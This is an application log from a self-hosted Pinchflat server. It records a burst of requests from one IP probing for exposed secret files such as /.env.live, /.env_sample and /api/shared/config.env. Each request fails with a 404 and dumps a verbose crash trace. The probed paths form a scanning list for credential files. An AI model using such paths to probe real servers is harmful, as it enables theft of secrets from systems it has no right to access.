PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} (truncated) 04:52:50.493 [info] GET /.env.live 04:52:50.493 [info] GET /.env_1 04:52:50.495 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=209.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.495 [debug] QUERY OK source="settings" db=1.2ms idle=209.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.496 [debug] QUERY OK source="settings" db=0.6ms idle=210.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.497 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.497 [debug] QUERY OK source="settings" db=0.9ms idle=46.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.497 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.498 [info] GET /api/shared/config.env 04:52:50.499 [info] GET /.env_sample 04:52:50.499 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=48.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.500 [debug] QUERY OK source="settings" db=0.5ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.501 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.501 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.501 [debug] QUERY OK source="settings" db=0.5ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.502 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.498 [error] #PID<0.139016.0> running PinchflatWeb.Endpoint (connection #PID<0.138998.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.live ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139016.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.live", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxQ1rP8jb2fMADZuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.live", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", (truncated) 04:52:50.498 [error] #PID<0.139015.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env_1 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_1", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139015.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.5"}, {"dnt", "1"}, {"host", "pinchflat.ocaff.com"}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env_1", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxQ1ra2eH13kAAHrj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_1", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_1", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.5", "dnt" => "1", "host" => "pinchflat.ocaff.com", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :unde (truncated) 04:52:50.507 [info] GET /api/shared/.env 04:52:50.508 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=10.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.509 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.510 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.502 [error] #PID<0.139017.0> running PinchflatWeb.Endpoint (connection #PID<0.139004.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /api/shared/config.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139017.0>, params: %{}, path_info: ["api", "shared", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/api/shared/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxQ2xur79f7IAACrk"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/config.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-us (truncated) 04:52:50.503 [error] #PID<0.139018.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 14) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env_sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_sample", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 14, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139018.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env_sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, 